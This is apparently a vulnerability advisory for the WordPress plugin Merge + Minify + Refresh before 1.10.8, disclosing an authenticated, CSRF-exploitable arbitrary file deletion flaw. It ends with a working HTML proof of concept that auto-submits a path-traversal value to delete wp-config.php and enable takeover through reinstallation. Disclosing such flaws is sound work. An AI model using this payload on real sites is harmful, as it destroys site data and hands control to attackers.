Merge + Minify + Refresh < 1.10.8 – Authenticated Arbitrary File Delete

Description

The plugin relied on the is_admin() check, without checking the user's capabilities, when deleting arbitrary files.

The functionality was also vulnerable to Cross-site Request Forgery (CSRF) allowing attackers to delete arbitrary files by tricking authenticated users into visiting a page they controlled.

In WordPress, if the wp-config.php file is deleted, it triggers the installation process, allowing an attacker to re-install WordPress and become admin.

Proof of Concept

    <html>
    <body>
    <form id="form" action="https://temporarycopy.local/wp-admin/admin-ajax.php" method="post">
    <input type="hidden" name="action" value="mmr_files"/>
    <input type="hidden" name="purge" value="../../wp-config.php"/>
    </form>
    <script>document.form.submit();</script>
    </body>
    </html>